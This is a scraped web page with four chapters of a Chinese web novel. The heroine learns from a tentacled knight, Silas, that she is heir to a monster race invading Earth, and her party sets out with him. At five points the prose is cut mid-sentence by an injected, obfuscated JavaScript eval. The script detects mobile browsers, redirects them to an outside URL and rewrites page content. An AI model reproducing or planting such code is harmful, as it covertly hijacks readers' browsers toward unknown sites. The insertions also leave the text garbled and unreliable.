黎望舒被惊得说不出话来。 “……我的天啊。”半晌,她终于消化完了这个消息,扶额喃喃道:“上辈子的我真的疯了吧。” “别放在心上。”郁仪试图安慰她,“我觉得杜蕊不是那样的人,你说的也未必是真话,也许你们只是分开了。” 黎望舒沉默地点头。 ……以她对自己的了解,如果那个人真的是她自己,那么她绝不会将这种事当作玩笑话说出来。她与杜蕊的情谊很深,对她的包容度也非常高,但这意味着被触碰到底线之后,自己会爆发出更强烈的愤怒与恨意。 背叛对她来说是绝不能容忍的行为。如果杜蕊真的背叛了她,无论出于什么样的原因,她在伤心难过之余,一定会生出杀意。 ……其实不必考虑那么多。这是郁仪前世发生过的事,对于现在的她而言,只是一种可能性——尚未发生、甚至将来也不一定会发生。 她向来不为还没发生的事忧虑。 “塞拉斯呢?”黎望舒缓了口气,接着问,“那个金发男人就是他吧。你为什么会认定他与我的死有关系?” “他每次找你,事情的走向都会变坏。”郁仪说,“你死前还和他吵过架……一定是他说了什么不好的话,他就是个扫把星。” 这孩子什么时候学会说别人的坏话了?黎望舒哭笑不得。 “你觉得,我会被他人的话动摇吗?”她循循善诱地说。 郁仪默默摇头,看起来不太高兴。 “那是我自己做出的决定,和任何人都没有关系。”黎望舒接着说,“听你的描述,我大概能猜到,上辈子那个我的困境源于自身,过不去自己那一关,谁都帮不上忙。” “我知道你想做什么。”郁仪闷声道,“说了这么多,你就是想劝我接受塞拉斯,你想带他一起走。” “居然被你发现了。”黎望舒笑着夸他,“真聪明。” “就算不说这些,只要是你的决定,我都不会反对的。”郁仪无意识地捏着自己的指节,“但无论你说什么,我都讨厌他。” 后半句话,他说得斩钉截铁。 “我知道。解释这么多是怕你想太多,又不是逼着你和他好好相处。”黎望舒忍着笑说,“塞拉斯知道的一定比你我更多,但看他那副样子,恐怕不会轻易透露,我得和他打持久战。” 郁仪郁闷地“嗯”了一声。 “而且,我有种预感。”黎望舒接着说,“就算不把他带上,他也会偷偷跟上来的。相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14984734|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 较之下,我更愿意将他放在眼皮底下看着。” “他是跟踪狂?”郁仪睁大眼睛。 “淡定点,我猜的,没证据。”黎望舒将他按下,“那就这么说定了,明天和大家通个气之后,我就去找塞拉斯。” 郁仪点头。 该聊的差不多都聊完了,房间陷入了静默之中。今晚轮到郁仪守夜,黎望舒等了一阵子,刚站起身来,想去找地方睡觉,郁仪却突然结结巴巴地开口:“……我、我想问一个问题。” “说。” 郁仪不知为何涨红了脸,吞吐了一阵子之后,又颓然地塌下肩膀,“……不,没什么。” 黎望舒不爽地眯起眼睛。 “你这种行为非常恶劣。”她俯视着郁仪,严肃地说,“这样吊人胃口,让我怎么睡得着。” “对不起……”郁仪垂头丧气。 “快说,到底想问什么。”黎望舒催促。 又犹豫了半天,郁仪终于吞吞吐吐地开了口:“你觉得……上辈子那个她,到底喜不喜欢我?” “……”黎望舒无语地盯着他看。 “我都不打算问了,你非要听。”郁仪几乎要将脸埋进膝盖下面。 “好吧,我没打算嘲笑你,只是没想到你会问这种问题。”黎望舒叹了口气,重新坐在他身边,“大概是喜欢的吧。” “但她什么都不告诉我。”郁仪说着,眼眶又开始发烫,“半夜出门的时候也是,不告而别的时候也是……为什么什么都不对我说,这样也能算喜欢吗?我对你来说算什么,路边的小猫小狗吗?” “对我发脾气也没用啊,我又没经历过那些。”黎望舒说。 郁仪抽了下鼻子,不说话了。 “别那么伤心,她肯定喜欢你,要不然也不会与你一同生活那么久,还带着你到处跑。”黎望舒斟酌着说,“只是还没喜欢到将一切都袒露给你的地步。” “我明白了。”郁仪声音带上了鼻音,“是我不该问的。” “别这样说话。”黎望舒无奈,“她没那么喜欢你也是有好处的,别以为那是什么好事。她要是真的爱你爱到死去活来,你活不过那天晚上——她去死之前,一定会先杀了你。” 在她的认知中,一切事物都可以被分为两类——可以割舍的、无法割舍的。对于喜欢的事物,如果情感不深,那最好在它成为软肋之前就利落地割舍掉;如果已经不能割舍,那么就保护到底,绝不允许背叛——为了保证对方的永远忠诚,死亡是必须的。 但让她没想到的是,面对这样称得上威胁的话语,郁仪几乎没有思考,脱口而出:“那样也没什么不好的。死在你手里,我心甘情愿。” “……对了,差点忘了你病得也不轻。”黎望舒扶额。 又是一阵沉默。 “那你呢?”郁仪半张脸还埋在臂弯里,黑眸亮晶晶的,用尽了毕生的勇气,终于问出了这句话,“你喜欢我吗?” 他静静地等待着她的回答,只觉得内心前所未有地安稳、饱胀,被轻飘飘的情感充盈。 他从没想过,她居然愿意花这么多的口舌来安慰自己。回答其实不重要,这已经足够了。 “当然了。”一瞬的惊讶过后,黎望舒笑眯眯地说,“我还以为你早就知道了。” 57. 第 57 章 第二天一早,晨曦刚刚从地平线浮现,塞拉斯就敲响了红砖房的门。 “早上好,昨晚您休息得好吗?” 他换了身看起来更日常的冬日装束,剪裁合身的轻薄大衣贴在手臂上,金色长发低低地束在颈侧,彬彬有礼地俯身行礼。 “你来得正好。”黎望舒拉开门,“我们的讨论刚刚结束。” 她身后,围坐在圆桌旁的几人投来了或好奇或警惕的视线,可塞拉斯全然没有在意——他专注地注视着她的琥珀色瞳孔,从中看出了冷淡、戒备……和一点令他熟悉的居高临下。 仅仅一晚过去,她对待自己的态度就有了改变。 考虑到对方记忆封印松动的可能性,塞拉斯忍不住将姿态放得更低,谦卑道:“请问讨论的结果是怎样的?我是否有与您同行的荣幸?” “我们可以带上你。”黎望舒抬起下巴,“但有几个问题,你必须回答我,半句谎言也不能掺杂。” 昨晚,她花了些时间去揣摩上辈子那个她与塞拉斯的相处模式——毫无疑问,她的地位比塞拉斯更高,她决定试着使用更加随意的态度对待他。 从塞拉斯的反应来看,她这一步迈得很对。 “这是当然。”塞拉斯说,“我必定知无不答。” “跟我来。” 给伙伴们递了个安心的眼神,黎望舒反手合上门,将塞拉斯带到了屋后的空地上。这里地势开阔,不必担心有人偷听。 她左右看了一圈,在墙边随手拉了张板凳坐下,指向对面的凳子,示意塞拉斯坐在那里。 塞拉斯不动声色地瞥了眼沾满灰尘的凳面,笑着说:“不必,我站着回答您就好。” “你想让我仰视你?”她面无表情地问。 “……不,我绝无此意。” 塞拉斯嫌弃地望了眼板凳,从大衣内侧的口袋里掏出手帕,在上面擦了又擦,又将大衣的长下摆卷起,这才坐下。 相较于他的身高,板凳太矮了。尽管他小心地维持着仪态,一双长腿仍不可避免地屈了起来,膝盖几乎要顶到胸膛,看起来有几分滑稽。 “你一直在跟踪我们?”黎望舒直截了当地问。 自从知道塞拉斯有精神控制能力,她就有此怀疑了——他有能力引动怪潮,也有能力利用凝实的精神力从远处杀死彼岸……尾随在他们身后的神秘人,应该就是他。 “是‘保护’。” 塞拉斯并没有否认,他纠正道:“虽然您在全盛状态下比我强大得多,但现在您的精神力连同记忆一起被封印,能够动用的只有肉.体的力量。作为您手下最得力的骑士,我必须保证您的安全。” “记忆封印……”无视了他浮夸的描述,她咀嚼了一遍这个陌生词汇,“有办法解开吗?” “很遗憾,我精通精神力在攻击方面的运用,但并没有研究过这类封印。”塞拉斯说,“原本我们安排了这方面的专家,守在您身边随时准备为您解封……但很可惜,他现在已经死了。” 黎望舒眼皮一跳,“你指的难不成是……?” “看来您有所察觉。”塞拉斯做出了哀伤的表情,看了眼红砖房的方向,“没错,他崇拜您已久,却连一句话都没来得及对您说,就被那个黑毛人类杀掉了,真是太可怜了。” “……”果然是那只青皮怪物。 “你确定它崇拜我?它砸破了我家的铁门。”黎望舒面无表情地说,“那副凶神恶煞的样子,任谁来看都会觉得它想吃了我。” “长相是父母给的,它生来就长成那样。”塞拉斯耸肩,“而且,您似乎对自己的影响力没有正确的认知,任何一个子民见到您都会激动得失去分寸——比如他。” 没去管他口中的鬼话,黎望舒追问:“我到底该怎么拿回自己的记忆?” “我们只带了那一位专家——他武力值不低,我也没想到他会死得那么容易。非常抱歉,是我考虑不周,下次我会记得多带几个备用品。”塞拉斯说,“您可以等待女皇陛下降临的那一天,陛下通晓一切,一定很乐意亲手为您解开封印。” 他啰啰嗦嗦地说了一大堆,可以简单地总结为三个字——没办法。 她压下心中的火气,思索片刻后,问他:“你以前和我很熟?” “当然。”塞拉斯微笑,“我幼时有幸被选为您的骑士,与您一同度过了漫长的时光。除去女皇陛下,应该没有比我更了解您的人了。” ……听起来,她和那个女皇似乎关系不错。 将疑惑暂且压下,她向塞拉斯提出要求:“既然无法取回记忆,那就由你将它们转述给我。我此前的人生、现在肩负的责任,原原本本地都说给我听。” 但塞拉斯却摇了摇头:“非常抱歉,我做不到——无论我多么努力地想要保持客观,说出的话终究会带着主观的色彩。作为您最忠实的骑士,我必须严守骑士的准则,不可妄议王族。” “……王族?” “哎呀,此前我没有说过吗?” 他又露出了那种刻意的微笑,“您是女皇陛下的亲子,我们的王储,身负最高贵、最接近神的血脉,也是本次行动的指挥官。不仅如此,您未来接下王冠后,还将率领族群,去征服更加广阔的世界。” “……” 黎望舒惊得说不出话。 “你的意思是。”良久,她艰难地开口,“在这片土地上,我是所有怪物的老大?” “正是。” “这里发生的所有惨剧,本质上都是因我而起?” “唔,我不太明白您的意思。”塞拉斯笑容淡下,“您说‘惨剧’?弱小的生物注定只能化作食粮,人类也有相似的观点——弱肉强食,不是吗?生物必须剥夺其他物种的生命才能活下去,在这个星球上,人类处于食物链的顶端,所以他们肆意地将其他动物圈养起来,当作家畜或是宠物,对它们生杀予夺……这与我们所做的事情有什么不一样?” “但人类拥有情感,他们会哭会笑,会共情同胞的痛苦遭遇,拥有自己的语言与文字,甚至形成了多种多样的文化体系。”黎望舒说,“我曾经的家人、友人,他们都是人类,对我来说,将他们当作食物对待太残忍了。” “家畜同样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14990438|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拥有情感,只是您听不懂它们的语言,就连被誉为人类最亲密伙伴的犬类都有人食用。如果没有这十余年的潜伏与学习,听不懂人类语言的您还会对他们心存怜悯吗?” 说着,塞拉斯垂下眼眸,“您变了,您被人类的文化影响了。如果您喜欢身边那几个人类,那么将他们作为宠物饲养无伤大雅,但您不该将这种喜爱投射到全体人类的身上。当初您对人类文化展现出兴趣时我就有些不好的预感,放任您封锁记忆更是一步烂棋。此事的责任全部在我,计划完成后,我会承担所有的责罚……不知女皇陛下见到这样的您会作何感想。” “计划?”黎望舒敏锐地捕捉到了这个词,“你们……不,我们的计划是什么?” “很抱歉,我不能告诉您。”塞拉斯摇头,“请原谅,我本该对您说出一切,但现在的您失去了最基本的判断力,会毁掉我们的一切。至少要等您找回记忆、清楚地认识到了我们的处境,我才能放心地继续追随您。” 她不甘心,又软硬兼施地试了各种各样的手段,但塞拉斯态度坚决,似乎打定了主意不向她透露分毫。 至此,对话陷入僵局。 与他僵持了一会儿,黎望舒无奈地摆手:“算了,我不问具体的计划了。你到底是从什么时候开始跟上我的?” “从一开始我就在您身边。”塞拉斯又开始微笑,“也许您还记得公寓楼里那个冒犯您的人类?我已经将他处理掉了。” “……谁?”她一时没反应过来,搜刮了一遍记忆才想起来,他指的是那个透过扩音器向他们求助的男人,“你把他杀了?” “是的。”塞拉斯小心地观察着她的神色,“很抱歉,我当时并不知道您居然将人类视作同类,那是我唯一一次杀人。” “……算了。”黎望舒头痛地搓了搓太阳穴,“那家伙太蠢了,本来也活不了多久。怪潮也是你搞出来的?” “不,这件事确实与我无关,那几个人类踏入了某个高级种的巢穴,理所当然地惹怒了他,我发现的时候,他们已经死得差不多了。” 塞拉斯邀功似的说:“我一直守在旁边,甚至还帮您赶走了几个高级种。如果他们也加入战局,那个小基地恐怕还要死不少人呢。” 黎望舒满头黑线:“有这种功夫,你就不能将它们全部赶走?我辛辛苦苦地守了一晚上,差点累死。” “那样太刻意了,以您的聪慧,肯定会察觉到不对劲。”塞拉斯说。 “彼岸也是你杀的?” “是的。她有可能会说出您的身份,有些碍事。反正您本来也不准备放过她,干脆杀了。”塞拉斯说得面不改色。 “它是你的同类。”黎望舒蹙眉,“你们的族群不禁止同胞相互残杀吗?” “我们的繁殖能力很强,底层喽啰要多少有多少,有些饿到极致的小东西甚至会吃掉自己的手足。我们以强大的血脉为尊,只禁止以下犯上。”塞拉斯笑了,“事实上,就算您在这里直接把我杀了,回去之后也不会受到半点责难。” ……多么原始的社会关系,黎望舒对自己的未来感到忧虑。 58. 第 58 章 送走了塞拉斯,黎望舒并不急于与同伴们汇合,而是坐在小板凳上,细细梳理从塞拉斯那里得来的情报。 首先,从塞拉斯的描述中,她确定了一件事——上辈子的那个她利用青皮怪物解开封印,拿回了记忆,但这一次青皮怪物却被郁仪斩杀,两个她的差异由此产生。 她明白那个拿回记忆之后的自己会做什么。 上辈子的她曾向郁仪讲述过自己的责任,不愿履行、却又无法逃避的责任。作为怪物们的指挥官,她的责任是带领大量怪物踏平一个又一个人类基地,这是一场侵略。 在这样的过程中,她会杀死无数无辜的人类……尽管她最后想做出改变,但造下的罪孽已经无法偿还了。 某种意义上,她也许该庆幸现在的自己没有拿回那份记忆。 但她仍然不明白,那时的自己为什么会选择自裁。 背负累累血债固然痛苦,但她从来都不是只会逃避的人,她当时可以做的事明明还有很多,比如命令怪物们停止攻击,或是说服女皇停止侵略——虽然不知道她们母女关系如何,但有些事总要试一试才能知晓结果——就算是最差的情况,女皇拒绝了她的请求,她也可以集结地面上的力量,为自己的愿望抗争到底。 她会有这种想法,并非无的放矢。经过与塞拉斯的深入交谈,她发现这家伙虽然态度令人不爽,但对她的忠诚度极高,只要不涉及到原则性问题——比如她原先制定的具体计划——他都做到了有问必答。 她在交谈中试着命令他展示自己的触手与精神能力,他都照做了,她又得寸进尺地询问了他的弱点,他也原原本本地说了出来,甚至还微笑着问她,需不需要在他身上试一试。 在谈话的最后,她甚至试探性地向他询问那位女皇陛下的弱点——按理说,这是个极为大逆不道的问题,但塞拉斯只是露出了奇异的微笑,然后心平气和地说: “您想做什么?虽然很想为您解答,但退一万步说,我也不可能知道这种机密。” 有塞拉斯这样忠诚的副官,加上这片土地上成千上万的怪物大军,说不定真的能和那位女皇抗衡一二。 正因如此,黎望舒才想不通,明明还有那么多事可以做,上辈子的她为什么会选择死亡?这太不负责任了。 她也很意外,自己居然可以如此冷静地思考。事实上,她对自己的了不得的新身份接受极快,王储身份为她带来的震撼甚至比不上知道自己是怪物的时候,几乎没怎么消化就接受了。 ……也许是潜意识中的熟悉感吧。 微微叹了口气,她接着向下梳理。 接下来,是有关郁仪的问题——他的重生必定不是偶然,而是人为操作过后的结果,证据就是,塞拉斯在他的精神海中发现了一道精神印记。 这种精神印记通常是为了标记而留下的,不同功能的印记,可以分别打在猎物、亲人,或是爱人的身上。 郁仪身上的是用于保护的印记,拥有反制一切精神攻击强大作用,位阶相当高,就连塞拉斯都吃了些苦头。 “你对他下手了?”黎望舒敏锐地抓住了他话中的关键,“你想控制他?” “……这不是重点。”塞拉斯扯出微笑,“他离您太近了,我有些不放心。总之……” 在怪物们的族群中,比塞拉斯位阶更高的只有寥寥数人,能将他压制到如此地步的,除去黎望舒更是前所未有,他怀疑,这是某位王族留下的印记。 听到这里,她忍不住好奇,他们的王族究竟是怎样的构成。塞拉斯给出的回答是:如果不算上旁系,直系王族只有寥寥几人——女皇、她,以及她的妹妹,她的父亲早在几百年前就意外身亡了。 郁仪前世对精神攻击没什么抗性,这道印记毫无疑问,是在重生之后才出现的。但她旁敲侧击地问过,无论直系旁系,大部分王族的精神能力都是对外公开的,其中并没有令人重生轮回的能力……这种逆天而行改变因果的能力如果存在,早就在族群中掀起轩然大波了。 她也很在意自己素未谋面的母亲与妹妹——正如幻想中那般,她的家人真的在遥远的外星等待她归来。这本该是一件令人幸福的事情,但一想到可能到来的冲突与对峙,她心中刚生出的期待又迅速冷却下来。 她的家人真的会理解她吗?恐怕很难,就连忠于她的塞拉斯都认为她的想法惊世骇俗……这群怪物情感淡薄,完全将人类视为食物,哪怕人类的外形与他们极为相似。 谜题解开了一部分,但又让她生出了不少新的疑惑,她并未掌握到全部的真相。她像是一位历尽千辛万苦、终于触碰到冰山一角的旅人,可回头向下一看,才发现水面下还潜藏着更多的谜团。 …… 不知不觉间,天色变得明亮了,村民们从熟睡中醒来,开始了一天的工作,周围逐渐热闹起来。 “姑娘,怎么一个人在这里坐着呀。” 路过的大娘手中抱着空篮子,微笑着向她打招呼:“吃过早饭了吗?那边刚炒了大锅菜,还热着呢。” “谢谢,我会去看看的。”她从沉思中抽离出来,礼貌地回答,“您这是要去哪儿?” “去田里摘点野菜给孩子们补补身体。”大娘笑着说,“老是吃怪物肉,也不知道那东西到底有没有营养。快开春了,正好去碰碰运气。” 她腰间的深蓝圆牌微微晃动,镂空的双蛇缠剑纹样泛着温润的光泽——这是塞拉斯的家纹。 目送大娘离开,黎望舒站起身来,伸了个懒腰,向红砖房的方向走去。 “望舒!你终于回来了。”杜蕊从窗户里远远地望见她朝这边走,提前为她开了门,“谈了好久啊,有什么收获吗?” 黎望舒点头,视线在屋子里扫了一圈,问道:“小闻和连霏呢?” “他们担心村民把光伏板碰坏,在车边守着呢。”杜蕊殷勤地为她拉开凳子,“那家伙都说了些什么?” 黎望舒想了想,将郁仪的重生与自己的身份隐下,挑了些有意思的情报,讲给杜蕊听。 她并不是不信任自己的同伴,正相反,她相信同伴们一定不会因为她的身份而疏远她,正因如此,她才要隐瞒。 现在没有与大家进行讨论的必要,就算将一切都说出来,他们也提供不了有效的帮助,连她自己都对眼下的情况束手无策。与其让大家干着急,不如先将事实隐下,等她找到了解决办法再一齐说出来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14995507|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她现在失去了记忆与力量,又没有将它们寻回的手段,按照塞拉斯的说法,想要破局唯有等待女皇降临……她向来喜欢主动出击,头一次陷入如此被动的局面,每每想起心中都会有些烦躁。 塞拉斯对计划守口如瓶,但按郁仪的记忆推算,女皇在两年后仍然没有降临,这意味着如果两边没有有效的通信手段,她至少还要等待两年之久,说长不长,但也绝不短暂。 在等待的时间里,她会不断加强自己的信念——在过往记忆的冲击之下,她不知道自己会变成什么样子,也许会变得冷漠、变得像怪物一样无情,但她不想丢失自己的人性。 …… 夕阳西下,连霏忙碌地弯折支架,一点点将光伏板收进后备箱中,其他人也在收拾东西,塞拉斯坐在一旁悠闲地抿着红茶,丝毫没有上前帮忙的意思。 “你就不能帮着抬点东西?”黎望舒看他不顺眼。 “如果是您的吩咐,我当然会照做。”塞拉斯为她斟了杯茶,“请用。” 末日降临前,她手头总是没什么钱,忙于学习、兼职与工作,从不在意生活质量,最多用陈皮和枸杞泡水装进保温杯,红茶在她的印象中和奢侈品没两样,没想到居然能在末日后尝到。 精致茶杯里的茶汤泛着漂亮的淡红色,让她想起了怪物被扎破眼球时流出的液体,表面蒸腾着缕缕热气,闻起来充满醇厚的花果香气……味道不错。 看着她面无表情地喝了一大口,塞拉斯满意地一笑,起身将双臂化为无数挥舞的触手,接过了杜蕊的工作,效率惊人。 “唉,直到现在我还不敢相信,你居然真的要带上他。”杜蕊闲了下来,一时不知该干些什么,“感觉他很不好相处啊。” “不用考虑这些,平时别理会他,离他远点就行了。” 黎望舒清点着面前的一大摞物资,将可能有用的物品单独挑拣出来,“有我在,他不会伤害你们的。” 村民们知道塞拉斯要走,纷纷表达自己的不舍,送来了大堆大堆的生存物资——塞拉斯没有解开他们精神中的暗示,用他的话来说,这种暗示不影响生活,只是会让村民们对他充满好感,解开了反而会徒增麻烦。 黎望舒想了想,觉得挺有道理,于是就随他去了。 要是村民们清醒过来,知道自己崇拜了这么久的人是个怪物,甚至吃了这么久的怪物肉,想必会相当崩溃吧。 他们送来的物资也不能尽数带走,这是他们努力积攒下来的食粮,全带走太缺德了,那辆小电车也装不下那么多东西,更重要的是—— 她搬开上面的一大箱怪物肉干,看着下面一模一样的几大箱肉干陷入沉默。 这个村子的主食就是怪物肉,赠送给他们的也大都是些风干了的怪物肉干……他们的队伍里没人喜欢吃这个。 “等会儿出发的时候座位怎么安排呀?”杜蕊纠结地问,“后座三个人已经够挤的了,难不成要塞一个人进后备箱?但后备箱也已经满了。” “之前不是讨论过这个问题吗。”黎望舒随口道:“让塞拉斯坐车顶,他不是一般人,扛得住。” “啊?”杜蕊呆住了,“原来你是认真的?” 59. 第 59 章 “塞拉斯先生,您一路小心啊!” 一行人出发前,车子边上围满村民,每个人都是一副依依不舍的样子。 “塞拉斯先生,感谢您为我们做的一切。” 包小阳仰头哽咽着说——他已经完全恢复过来了,右边的手臂消失不见,取而代之的是从肩膀处涌出的一大堆触手,不时扭动一下,先前运送物资的时候他出了不少力。 他擦了把眼泪,扯出一个比哭还难看的笑容,“我会好好保护大家的,欢迎您随时回来!” 晚风带起了塞拉斯金黄色的发丝,他微微笑着说:“我不会再回来了。就算没有我,你们也能活下去,圆牌务必带在身边,它能帮你们驱赶怪物,远离危险。” 村民们连连点头。 塞拉斯态度真诚,语气亲切,听不出一丝虚情假意……很难想象,他居然将眼前的所有人都视作食物。 黎望舒腹诽。 果不其然,包小阳又被感动得热泪盈眶。突然,他欲言又止地动了动唇,犹豫着抬头望了一眼,终究没忍住,压低声音问:“您为什么要坐在车顶上?这样多冷啊。” 他怀疑塞拉斯大人被车里的几个人排挤了,但没敢说出来。 “我不怕冷。” 塞拉斯盘腿坐在银白色车顶上,仍然保持着优雅的仪态,笑容纹丝不动,似乎丝毫不觉得难堪,“这是一种锻炼。” “原来如此。”包小阳对他的话深信不疑,坚定地握紧了拳头,“为了变得更强保护大家,我也会进行同样的锻炼!” 黎望舒听不下去了。她无奈地敲了敲半开着的车窗,扬声道:“请大家让一让,我们必须得走了。” ……再不走,这孩子怕是要被赛拉斯忽悠瘸了。 在大家吵吵嚷嚷的送别声里,银白色电车缓缓发动,驶向远方—— 塞拉斯被迎面而来的强风刮得面颊生疼,一头金发刺猬似的向后飘扬。他闭了闭眼,从内衬口袋里拎出发绳,冷静地将发丝束了起来。 “总算能离开了。”车厢内,杜蕊松了口气,摸了一把妞妞蓬松的大尾巴,“虽然大家都很热情,但一想到全村人都在吃怪物,我心里就有点不舒服。” “这没什么吧。”连霏懵懂地说,“我也吃过呀。” “他们是真的把怪物当饭吃,没有菜,甚至没有米,看着让人难过。”杜蕊闷闷地说,“但不吃又要饿肚子,这么一想,也许被洗脑不是一件坏事……好想念以前的生活啊,要是真能回到那时候,我再也不抱怨上班累了。” “这是两码事。”黎望舒的社畜神经动了,“和现在的生活比起来,我觉得上班更痛苦。” “小蕊,我记得你老家在江城?”连霏以为她想家了,温声安慰:“按我们现在的速度,没意外的话,一周左右就到了。那边秩序不错,你的家人大概率还活着。” “呃……我也没那么想回去。”杜蕊良心不安,终于吞吞吐吐地说出了实话,“之前一直没好意思说,其实我和家里人关系不太好。” “为什么不说,关系差又不是可耻的事。”闻风藻说,“我也一样。” “是我自己提出想回江城的,走了这么长时间再反悔,多缺心眼。”杜蕊小声嘟哝。 “你还在纠结这件事?”黎望舒无奈地说,“就当是旅游,如果不想去,我们随时可以换个目的地。你不是想去黄山看看吗?从这里转个弯,顺路就过去了。” “对不起,我错了,还是别改了。”杜蕊垂头丧气,“虽然讨厌其他人,但我妹妹还挺可爱的……如果她还活着的话,我想去看看家里人对她好不好。” “你有妹妹,亲的吗?”连霏有些羡慕,“我一直想要个妹妹。” “亲的,但有段时间没联系了,上一次和她说话还是在我大四的时候。”杜蕊回忆,“家里的长辈——包括我爸妈——几乎全被我拉黑了,所以他们也不让我妹妹和我联系,怕她被我带坏。” “怎么会这样……”连霏担忧地说。 “等等,别误会啊,我可不是什么叛逆青少年!” 杜蕊一下子坐直了,将趴在她膝上的妞妞吓了一跳,她义正词严道:“是他们太过分了,我一路忍到工作了才拉黑他们已经很了不起了!” “我没那个意思。”连霏劝她,“你冷静冷静……” 黎望舒额头倚在窗边,悠闲地看着车窗外飞速倒退的荒凉景象,侧耳倾听后面二人的对话。 回想起来,她的确没听杜蕊提起过家人,逢年过节杜蕊也从没回过老家,不是留在合租房里,就是跑出去和男友一起过。知道杜蕊的家人都好好地活在江城时,她还惊讶过一阵子。 她正想着,车窗顶上突然爬下了一条细线,通体漆黑,蜿蜒地向下移动。她本以为那只是条虫子,直到细线爬到了眼前,她定睛一看才发现,细线上附着小小的吸盘,那分明是一条细小的触手! 她一惊,迅速按开车窗,一把揪住了那条细触手,用指甲狠狠一掐——头顶立刻传来了抽气声。 她这才想起来,车顶上还有一个塞拉斯。 “怎么了!”杜蕊被她的动作吓了一跳。 “……没什么。”黎望舒满头黑线,没放开手中的触手,朝上头喊了一声:“你干什么呢?” “我认为您有可能会无聊,逗您开心也是我的职责。”外头风声太大,塞拉斯不得不提高声音,“请问您还满意吗?” “做得好,下次别再做了。”黎望舒面无表情地合上车窗。 …… 经过一晚的行驶,清晨,银白色电车在一片树林边上停下。 “怎么开到这种地方来了?” 杜蕊卷着毯子,在颠簸之中迷迷糊糊地醒过来。她一睁眼就看见了旁边一大片阴森森的树林,被吓清醒了。 “我不小心睡着了,没来得及给郁仪指路。”黎望舒头痛地拉开车门,“注意到的时候,他已经开偏了。” “对不起。”郁仪下意识道歉。 “不是你的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15004745|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 错。”黎望舒扫了眼黑漆漆的树林,朝忙碌架设光伏板的连霏喊道:“别离车子太远,这附近可能会有野生动物。” “好!”连霏远远地应了一声。 自从拿到光伏板,他们的行动模式就发生了翻天覆地的变化——白天支起光伏板给车辆充电,夜晚则收起行李,在夜色中赶路。 这样昼伏夜出的日子已经持续了好几天,但几人仍然没能习惯这样的生活,晚上经常在车上睡着又惊醒,白天又精神得可怕,作息简直乱成了一锅粥。 杜蕊没形象地打了个大大的哈欠,重新裹紧毯子,翻了个身,“我再睡会儿,晚上轮到我开车了。” 静静地躺了一会儿,她又突然半梦半醒地出声:“吃饭的时候记得叫我……” “知道了。”黎望舒哭笑不得地掩上车门。 郁仪提出要去林子里转一转,随后便独自钻进了树林中。他从小在山林里长大,身手也了得,能伤得了他的敌人寥寥无几,黎望舒放心地随他去了。 郁仪离开后,塞拉斯轻巧地从车顶上跳下来,金发似乎已经整理过一番,整整齐齐地束在颈侧。 “您接下来准备做些什么?”他微笑着问,“需要我的时候请随时吩咐。” “什么也不做,随便逛逛。”黎望舒迈开脚步,想了想,又回头说:“别跟上来,留在这里保护好大家。” 她身后,塞拉斯止住脚步,微微俯身,“遵命。” 她踩上厚厚的枯枝烂叶,叶片清脆地在脚下折断,发出“咔嚓”的声响。小狗快乐的喘息声逐渐从身后接近,她回头一看,妞妞咧嘴甩着舌头,向她奔来。 “你要跟我一起去吗?”她笑眯眯地伸出手,妞妞立刻自觉地将小脑袋顶进她手心里,用力蹭了蹭,“别离我太远哦。” 担心迷路,她最初只打算在树林外侧逛一逛。冬天的树林光秃秃的,没什么风景可看,但空气澄澈,脚下的落叶声音清脆,身侧还有只跑来跑去的小狗陪伴,只是这样简单地漫步,她就感到心中非常平静,一切烦心事都被暂时抛在脑后。 沿着树林边缘走了大半圈,她停下脚步,正准备返回,忽然敏锐地捕捉到了隐约的流水声。 这附近有河流? 她一下子来了兴致,将乱跑的妞妞唤回,循着那道水声,朝更深处走去。没走多远,她就找到了水流声的源头——林间横跨一条潺潺流动的小溪,水不深,水底铺满圆溜溜的卵石,十分清澈。 妞妞兴奋地汪了一声,就要往水边扑去。她想起郁仪的叮嘱,连忙伸出触手,将妞妞卷进怀中,“水边危险,小狗不能独自靠近。” 